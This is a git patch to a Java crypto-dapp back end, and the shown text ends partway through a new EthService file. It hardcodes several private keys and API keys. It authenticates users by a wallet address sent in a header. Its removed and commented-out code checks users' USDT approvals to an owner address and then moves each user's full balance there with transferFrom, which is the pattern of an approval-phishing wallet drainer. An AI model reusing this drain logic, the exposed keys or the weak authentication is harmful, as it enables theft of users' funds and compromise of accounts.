From f4184f358030bed3fb57108d47640ceeaf5ecd03 Mon Sep 17 00:00:00 2001
From: wzy <wzy19931122ai@163.com>
Date: Fri, 15 Apr 2022 22:37:45 +0800
Subject: [PATCH] add bsc and improve code

---
 src/main/resources/templates/febs/views/dapp/member.html                  |    3 
 src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java                 |  177 ++++--
 src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java         |    2 
 src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java |   21 
 /dev/null                                                                 |  151 ------
 src/main/java/cc/mrbird/febs/dapp/chain/EthService.java                   |  595 ++++++++----------------
 src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java          |    6 
 src/main/resources/mapper/dapp/DappMemberDao.xml                          |    2 
 src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java     |    6 
 src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java               |    2 
 src/main/java/cc/mrbird/febs/job/MineProfitJob.java                       |    4 
 src/main/java/cc/mrbird/febs/dapp/chain/EthServiceBak.java                |  386 ++++++++++++++++
 src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java        |   14 
 src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java                   |   36 +
 src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java      |    3 
 15 files changed, 757 insertions(+), 651 deletions(-)

diff --git a/src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java b/src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java
index 371f524..a997db1 100644
--- a/src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java
+++ b/src/main/java/cc/mrbird/febs/common/interceptor/DappInterceptor.java
@@ -31,13 +31,14 @@
         }
 
         String headAddress = request.getHeader("token");
+        String chain = request.getHeader("chain");
         log.info("进入拦截:{}", headAddress);
         if (StrUtil.isBlank(headAddress)) {
             responseUnAuth(response);
             return false;
         }
 
-        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(headAddress);
+        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(headAddress, chain);
         if (memberEntity == null) {
             responseUnAuth(response);
             return false;
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java b/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
deleted file mode 100644
index 8aee1e7..0000000
--- a/src/main/java/cc/mrbird/febs/dapp/chain/BscService.java
+++ /dev/null
@@ -1,151 +0,0 @@
-package cc.mrbird.febs.dapp.chain;
-
-import cn.hutool.core.util.StrUtil;
-import cn.hutool.http.HttpUtil;
-import com.alibaba.fastjson.JSONObject;
-import org.apache.commons.lang3.StringUtils;
-import org.web3j.abi.FunctionEncoder;
-import org.web3j.abi.FunctionReturnDecoder;
-import org.web3j.abi.TypeReference;
-import org.web3j.abi.datatypes.Address;
-import org.web3j.abi.datatypes.Function;
-import org.web3j.abi.datatypes.Type;
-import org.web3j.abi.datatypes.generated.Uint256;
-import org.web3j.crypto.Credentials;
-import org.web3j.crypto.RawTransaction;
-import org.web3j.crypto.TransactionEncoder;
-import org.web3j.protocol.Web3j;
-import org.web3j.protocol.core.DefaultBlockParameterName;
-import org.web3j.protocol.core.methods.request.Transaction;
-import org.web3j.protocol.core.methods.response.EthCall;
-import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
-import org.web3j.protocol.core.methods.response.EthSendTransaction;
-import org.web3j.protocol.http.HttpService;
-import org.web3j.utils.Convert;
-import org.web3j.utils.Numeric;
-
-import java.io.IOException;
-import java.math.BigDecimal;
-import java.math.BigInteger;
-import java.math.RoundingMode;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.concurrent.CompletableFuture;
-
-/**
- * @author wzy
- * @date 2022-04-15
- **/
-public class BscService implements ContractChainService {
-
-    private Web3j web3j;
-    private String url;
-    private String ownerAddress;
-    private String privateKey;
-    private String contractAddress;
-
-    public BscService(String url, String address, String privateKey, String contractAddress) {
-        this.url = url;
-        this.ownerAddress = address;
-        this.privateKey = privateKey;
-        this.contractAddress = contractAddress;
-
-        HttpService service = new HttpService(url);
-        web3j = Web3j.build(service);
-    }
-
-    @Override
-    public BigInteger balanceOfUnDecimal(String fromAddress) {
-        try {
-            String methodName = "balanceOf";
-            List<Type> inputParameters = new ArrayList<>();
-            List<TypeReference<?>> outputParameters = new ArrayList<>();
-            Address address = new Address(fromAddress);
-            inputParameters.add(address);
-            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
-            };
-            outputParameters.add(typeReference);
-            Function function = new Function(methodName, inputParameters, outputParameters);
-            String data = FunctionEncoder.encode(function);
-            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
-
-            EthCall ethCall;
-            BigInteger balanceValue = BigInteger.ZERO;
-            try {
-                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
-                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
-                balanceValue = (BigInteger) results.get(0).getValue();
-            } catch (IOException e) {
-                e.printStackTrace();
-            }
-
-            return balanceValue;
-
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return BigInteger.ZERO;
-    }
-
-    @Override
-    public BigDecimal balanceOf(String fromAddress) {
-        int decimal = 6;
-        BigInteger balanceValue = balanceOfUnDecimal(fromAddress);
-
-        double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
-        if (res > 0) {
-            return new BigDecimal(res);
-        }
-
-        return BigDecimal.ZERO;
-    }
-
-    @Override
-    public BigInteger allowance(String address) {
-        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-        String methodName = "allowance";
-        List<TypeReference<?>> outputParameters = new ArrayList<>();
-        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
-        outputParameters.add(typeReference);
-
-        Function function = new Function(methodName,
-                Arrays.asList(new Address(address), new Address(ownerAddress))
-                , outputParameters);
-        String data = FunctionEncoder.encode(function);
-        Transaction transaction = Transaction.createEthCallTransaction(ownerAddress, contractAddress, data);
-
-        EthCall ethCall = null;
-        try {
-            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
-            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
-            return (BigInteger) results.get(0).getValue();
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-
-        return BigInteger.ZERO;
-    }
-
-    public String getGas() {
-        String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
-        JSONObject data = JSONObject.parseObject(resp);
-        String gas = data.getString("avgPrice");
-        return StrUtil.isBlank(gas) ? "35" : gas;
-    }
-
-    @Override
-    public String transfer(String address) {
-        return null;
-    }
-
-    @Override
-    public String transfer(String address, BigDecimal amount) {
-        return "";
-    }
-
-    @Override
-    public int allowanceCnt(String address) {
-        return 0;
-    }
-}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 89cbd2c..a95547b 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -4,91 +4,126 @@
 import cn.hutool.core.util.StrUtil;
 import cn.hutool.http.HttpUtil;
 import com.alibaba.fastjson.JSONObject;
+import org.springframework.data.repository.query.ParameterOutOfBoundsException;
 
 import java.math.BigDecimal;
 import java.math.BigInteger;
+import java.rmi.activation.UnknownObjectException;
 
 /**
- * @author 
+ * @author
  * @date 2022-03-23
  **/
 public class ChainService {
 
-    private final String ETH_PREFIX = "0x";
-    private final EthService ETH = new EthService();
-    private final TrxService TRX = TrxService.INSTANCE;
+    private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+    private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+    private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
 
-    private ChainService() {}
+    private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
+    private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
+    private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
+    private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+
+    private final static String BSC_URL = "https://data-seed-prebsc-1-s1.binance.org:8545";
+    private final static String BSC_ADDRESS = "0x4EbDCA102623b46a47042D580dddAdE2a53D057F";
+    private final static String BSC_PRIVATE = "0x81c2c02d0c106c1e32ab060a37f6eb279c0649c30ea5cc1c4951e6a8dd4e963c";
+    private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
+
+    private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
+    private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
+    private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
+
+    private final String ETH_PREFIX = "0x";
+
+    private ChainService() {
+    }
 
     public final static ChainService INSTANCE = new ChainService();
 
-    /**
-     * 获取制定账号的USDT余额
-     *
-     * @param address
-     * @return
-     */
-    public BigDecimal balanceOf(String address) {
-        BigDecimal balance = BigDecimal.ZERO;
-        if (address.contains(ETH_PREFIX)) {
-            balance = ETH.tokenGetBalance(address);
-        } else {
-            balance = TRX.balanceOf(address);
-        }
-        return balance;
-    }
-
-    /**
-     * 判断地址是否授权给制定账户
-     *
-     * @param address
-     * @return
-     */
-    public boolean isAllowance(String address) {
-        BigInteger result;
-        if (address.startsWith(ETH_PREFIX)) {
-            result = ETH.ethAllowance(address);
-        } else {
-            result = TRX.allowance(address);
+    public static ContractChainService getInstance(String chainType) {
+        switch (chainType) {
+            case "ETH" :
+                return ETH;
+            case "BSC" :
+                return BSC;
+            case "TRX" :
+                return TRX;
+            default:
+                break;
         }
 
-        return result.intValue() != 0;
+        throw new FebsException("参数错误");
     }
-
-    /**
-     * 获取地址授权数量
-     *
-     * @param address
-     * @return
-     */
-    public int allowanceCnt(String address) {
-        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
-        String total = JSONObject.parseObject(response).getString("total");
-        return Integer.parseInt(total);
-    }
-
-    public String transfer(String address) {
-        BigDecimal amount = balanceOf(address);
-
-        return transfer(address, amount);
-    }
-
-    public String transfer(String address, BigDecimal amount) {
-        String hash;
-        if (address.startsWith(ETH_PREFIX)) {
-            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
-            JSONObject data = JSONObject.parseObject(resp);
-            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
-        } else {
-            hash = TRX.transfer(address, amount);
-        }
-        return hash;
-    }
-
-    public static void main(String[] args) {
-//        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
-
-//        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
-        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
-    }
+//
+//    /**
+//     * 获取制定账号的USDT余额
+//     *
+//     * @param address
+//     * @return
+//     */
+//    public BigDecimal balanceOf(String address) {
+//        BigDecimal balance = BigDecimal.ZERO;
+//        if (address.contains(ETH_PREFIX)) {
+//            balance = ETH.tokenGetBalance(address);
+//        } else {
+//            balance = TRX.balanceOf(address);
+//        }
+//        return balance;
+//    }
+//
+//    /**
+//     * 判断地址是否授权给制定账户
+//     *
+//     * @param address
+//     * @return
+//     */
+//    public boolean isAllowance(String address) {
+//        BigInteger result;
+//        if (address.startsWith(ETH_PREFIX)) {
+//            result = ETH.ethAllowance(address);
+//        } else {
+//            result = TRX.allowance(address);
+//        }
+//
+//        return result.intValue() != 0;
+//    }
+//
+//    /**
+//     * 获取地址授权数量
+//     *
+//     * @param address
+//     * @return
+//     */
+//    public int allowanceCnt(String address) {
+//        String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
+//        String total = JSONObject.parseObject(response).getString("total");
+//        return Integer.parseInt(total);
+//    }
+//
+//    public String transfer(String address) {
+//        BigDecimal amount = balanceOf(address);
+//
+//        return transfer(address, amount);
+//    }
+//
+//    public String transfer(String address, BigDecimal amount) {
+//        String hash;
+//        if (address.startsWith(ETH_PREFIX)) {
+//            String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+//            JSONObject data = JSONObject.parseObject(resp);
+//            hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
+//        } else {
+//            hash = TRX.transfer(address, amount);
+//        }
+//        return hash;
+//    }
+//
+//    public static void main(String[] args) {
+////        System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+//
+////        System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+//        System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+//    }
 }
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
index ee4fee0..0cf8c4a 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ContractChainService.java
@@ -11,6 +11,8 @@
 
     BigInteger allowance(String address);
 
+    boolean isAllowance(String address);
+
     String transfer(String address);
 
     String transfer(String address, BigDecimal amount);
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index b2b47d4..aff93e0 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -1,389 +1,206 @@
-package cc.mrbird.febs.dapp.chain;
-
-import cc.mrbird.febs.common.exception.FebsException;
-import cn.hutool.core.collection.CollUtil;
-import com.alibaba.fastjson.JSONObject;
-import lombok.extern.slf4j.Slf4j;
-import org.apache.commons.lang3.StringUtils;
-import org.web3j.abi.FunctionEncoder;
-import org.web3j.abi.FunctionReturnDecoder;
-import org.web3j.abi.TypeReference;
-import org.web3j.abi.datatypes.Address;
-import org.web3j.abi.datatypes.Function;
-import org.web3j.abi.datatypes.Type;
-import org.web3j.abi.datatypes.generated.Uint256;
-import org.web3j.crypto.Credentials;
-import org.web3j.crypto.RawTransaction;
-import org.web3j.crypto.TransactionEncoder;
-import org.web3j.crypto.WalletUtils;
-import org.web3j.protocol.Web3j;
-import org.web3j.protocol.core.DefaultBlockParameterName;
-import org.web3j.protocol.core.Request;
-import org.web3j.protocol.core.methods.request.Transaction;
-import org.web3j.protocol.core.methods.response.*;
-import org.web3j.protocol.http.HttpService;
-import org.web3j.utils.Convert;
-import org.web3j.utils.Convert.Unit;
-import org.web3j.utils.Numeric;
-
-import java.io.File;
-import java.io.IOException;
-import java.math.BigDecimal;
-import java.math.BigInteger;
-import java.math.RoundingMode;
-import java.util.*;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.ExecutionException;
-
-/**
- * ETH类,使用Web3j 下面为使用教程
- * https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
- * 
- * @author Administrator
- *
- */
-@Slf4j
-public class EthService {
-
-	private static String ethWalletPath = "/home/javaweb/webresource/eth";
-	private Web3j web3j;
-
-	/**
-	 * 服务器地址
-	 */
-	//private static final String ETH_UTL = "http://120.55.86.146:8545";
-	//	private static final String ETH_UTL = "http://114.55.250.231:8545";
-	private static String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
-//	private static final String OWNER_ADDRESS = "0xD998DA7362360eFC6daDFEd6E9a32E70640d7600";
-//	private static final String OWNER_PRIVATE = "06f95d3edf59888708d485d06b8b3e3f9aaa6b40d693018a1d19a7be95fe9419";
-
-	private static String OWNER_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
-	private static String OWNER_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
-
-	public EthService() {
-		try {
-			HttpService service = new HttpService(ETH_UTL);
-			web3j = Web3j.build(service);
-		} catch (Exception e) {
-			log.error("连接eth网络失败", e);
-		}
-	}
-
-	public EthService(String url, String address, String privateKey) {
-		try {
-			OWNER_ADDRESS = address;
-			OWNER_PRIVATE = privateKey;
-			ETH_UTL = url;
-			HttpService service = new HttpService(url);
-			web3j = Web3j.build(service);
-		} catch (Exception e) {
-			log.error("连接eth网络失败", e);
-		}
-	}
-
-	/**
-	 * 查询ETH余额
-	 * 
-	 * @param address
-	 * @return
-	 */
-	public static BigDecimal getEthBlance(String address) {
-		Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
-		EthGetBalance balanceWei;
-		try {
-			balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
-			if (balanceWei.getResult() == null) {
-				return null;
-			}
-			BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
-			return balanceInEther;
-		} catch (Exception e) {
-			System.out.println("ETH查询失败:" + address);
-			e.printStackTrace();
-		}
-		return null;
-
-	}
-
-	/**
-	 * 创建ETH钱包
-	 * 
-	 * @return
-	 */
-	public static Map<String, String> createEth() {
-		Map<String, String> wallet = new HashMap<String, String>();
-		try {
-			String walletPassword = "secr3t";
-			// 文件路径
-			String walletDirectory = ethWalletPath;
-
-			String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
-			System.out.println("wallet location: " + walletDirectory + "/" + walletName);
-			Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
-			String accountAddress = credentials.getAddress();
-			String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
-			// 钱包地址
-			wallet.put("address", accountAddress);
-			// 钱包私钥
-			wallet.put("privateKey", privateKey);
-			// 产生的钱包文件地址
-			wallet.put("walletLocation", walletDirectory + "/" + walletName);
-		} catch (Exception e) {
-			e.printStackTrace();
-		}
-		return wallet;
-	}
-
-	public boolean checkTransferResult(String hash) {
-		// 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
-		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
-		EthGetTransactionReceipt send = null;
-		try {
-			send = ethGetTransactionReceiptRequest.send();
-			if(send!=null){
-				TransactionReceipt result = send.getResult();
-				if(result!=null){
-					String status = result.getStatus();
-					System.out.println(status);//0x1
-					if("0x1".equals(status)){
-						return true;
-					}else{
-						return false;
-					}
-				}
-
-			}
-
-		} catch (IOException e) {
-			e.printStackTrace();
-			return false;
-		}
-        return false;
-	}
-
-	public static void main(String[] args) throws IOException {
-//		HttpService service = new HttpService(ETH_UTL);
-//		Web3j build = Web3j.build(service);
-//		//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-//		Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
-//		EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
-//		String status = send.getResult().getStatus();
-//		System.out.println(status);//0x1
-//		EthTransaction send = ethTransactionRequest.send();
-//		String input = send.getResult().getInput();
-//		System.out.println(input);
-		System.out.println(new EthService().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
-	}
-
-	/**
-	 * 
-	 * 方法描述:获取代币余额
-	 * 
-	 * @param fromAddress
-	 * @param
-	 * @param
-	 * @return long
-	 */
-	public BigDecimal tokenGetBalance(String fromAddress) {
-		try {
-			// 合约地址
-			String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-			int decimal = 6;
-			String methodName = "balanceOf";
-			List<Type> inputParameters = new ArrayList<>();
-			List<TypeReference<?>> outputParameters = new ArrayList<>();
-			Address address = new Address(fromAddress);
-			inputParameters.add(address);
-			TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
-			};
-			outputParameters.add(typeReference);
-			Function function = new Function(methodName, inputParameters, outputParameters);
-			String data = FunctionEncoder.encode(function);
-			Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
-
-			EthCall ethCall;
-			BigInteger balanceValue = BigInteger.ZERO;
-			try {
-				ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
-				List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
-				balanceValue = (BigInteger) results.get(0).getValue();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-			double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
-			if (res > 0) {
-				return new BigDecimal(res);
-			}
-		} catch (Exception e) {
-			// logger.error("==============以太坊代币链接获取失败!");
-			e.printStackTrace();
-		}
-		return BigDecimal.ZERO;
-	}
-
-	// USDT
-	public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
-			throws InterruptedException, ExecutionException {
-		// Web3j web3j = Web3j.build(new
-		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
-		if(StringUtils.isBlank(gas)){
-			gas="35";
-		}
-
-		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-		Credentials credentials = Credentials.create(privateKey);
-
-		EthGetTransactionCount ethGetTransactionCount = web3j
-				.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
-		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-
-		Function function = new Function("transfer",
-				Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
-				Arrays.asList(new TypeReference<Type>() {
-				}));
-
-		String encodedFunction = FunctionEncoder.encode(function);
-
-		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
-				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
-				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
-		        // 10*80000/1000000000=0.0008 手续费
-
-		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
-		String hexValue = Numeric.toHexString(signedMessage);
-
-		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
-		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
-		//return "hash";
-//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
-
-		if (ethSendTransaction.hasError()) {
-			return "";
-		} else {
-			String transactionHash = ethSendTransaction.getTransactionHash();
-			// log.info("Transfer transactionHash:" + transactionHash);
-			return transactionHash;
-		}
-	}
-
-	public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
-			throws InterruptedException, ExecutionException {
-		if(StringUtils.isBlank(gas)){
-			gas="35";
-		}
-
-		BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
-		amount = amountPow.toPlainString();
-		if (amount.contains(".")) {
-			amount = amount.substring(0, amount.lastIndexOf("."));
-		}
-
-		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-		Credentials credentials = Credentials.create(privateKey);
-
-		EthGetTransactionCount ethGetTransactionCount = web3j
-				.ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
-		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-
-		Function function = new Function("transferFrom",
-				Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
-				Arrays.asList(new TypeReference<Type>() {
-				}));
-
-		String encodedFunction = FunctionEncoder.encode(function);
-
-		RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
-				Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
-				Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
-		// 10*80000/1000000000=0.0008 手续费
-
-		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
-		String hexValue = Numeric.toHexString(signedMessage);
-
-		CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
-		EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
-		//return "hash";
-//		log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
-
-		if (ethSendTransaction.hasError()) {
-			return "";
-		} else {
-			String transactionHash = ethSendTransaction.getTransactionHash();
-			// log.info("Transfer transactionHash:" + transactionHash);
-			return transactionHash;
-		}
-	}
-
-	public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
-		try {
-			return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
-		} catch (InterruptedException | ExecutionException e) {
-			e.printStackTrace();
-			return "";
-		}
-	}
-
-	public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
-			throws InterruptedException, ExecutionException {
-		// Web3j web3j = Web3j.build(new
-		// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
-		if(StringUtils.isBlank(gas)){
-			gas="70";
-		}
-		Credentials credentials = Credentials.create(privateKey);
-
-		EthGetTransactionCount ethGetTransactionCount = web3j
-				.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
-
-		BigInteger nonce = ethGetTransactionCount.getTransactionCount();
-		BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
-		RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
-				Convert.toWei(gas, Unit.GWEI).toBigInteger(),
-				Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
-		byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
-		String hexValue = Numeric.toHexString(signedMessage);
-
-		EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
-		if (ethSendTransaction.hasError()) {
-			// log.info("transfer error:", ethSendTransaction.getError().getMessage());
-			return "";
-		} else {
-			String transactionHash = ethSendTransaction.getTransactionHash();
-			// log.info("Transfer transactionHash:" + transactionHash);
-			return transactionHash;
-		}
-	}
-
-	public BigInteger ethAllowance(String address) {
-		return ethAllowance(OWNER_ADDRESS, address);
-	}
-
-	public BigInteger ethAllowance(String toAddress, String fromAddress) {
-		String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
-		String methodName = "allowance";
-		List<TypeReference<?>> outputParameters = new ArrayList<>();
-		TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
-		outputParameters.add(typeReference);
-
-		Function function = new Function(methodName,
-				Arrays.asList(new Address(fromAddress), new Address(toAddress))
-				, outputParameters);
-		String data = FunctionEncoder.encode(function);
-		Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
-
-		EthCall ethCall = null;
-		try {
-			ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
-			List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
-			return (BigInteger) results.get(0).getValue();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return BigInteger.ZERO;
-	}
-
-
-
-}
+package cc.mrbird.febs.dapp.chain;
+
+import cn.hutool.core.util.StrUtil;
+import cn.hutool.http.HttpUtil;
+import com.alibaba.fastjson.JSONObject;
+import org.apache.commons.lang3.StringUtils;
+import org.web3j.abi.FunctionEncoder;
+import org.web3j.abi.FunctionReturnDecoder;
+import org.web3j.abi.TypeReference;
+import org.web3j.abi.datatypes.Address;
+import org.web3j.abi.datatypes.Function;
+import org.web3j.abi.datatypes.Type;
+import org.web3j.abi.datatypes.generated.Uint256;
+import org.web3j.crypto.Credentials;
+import org.web3j.crypto.RawTransaction;
+import org.web3j.crypto.TransactionEncoder;
+import org.web3j.protocol.Web3j;
+import org.web3j.protocol.core.DefaultBlockParameterName;
+import org.web3j.protocol.core.methods.request.Transaction;
+import org.web3j.protocol.core.methods.response.EthCall;
+import org.web3j.protocol.core.methods.response.EthGetTransactionCount;
+import org.web3j.protocol.core.methods.response.EthSendTransaction;
+import org.web3j.protocol.http.HttpService;
+import org.web3j.utils.Convert;
+import org.web3j.utils.Numeric;
+
+import java.io.IOException;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+
+/**
+ * @author wzy
+ * @date 2022-04-15
+ **/
+public class EthService implements ContractChainService {
+
+    private Web3j web3j;
+    private String url;
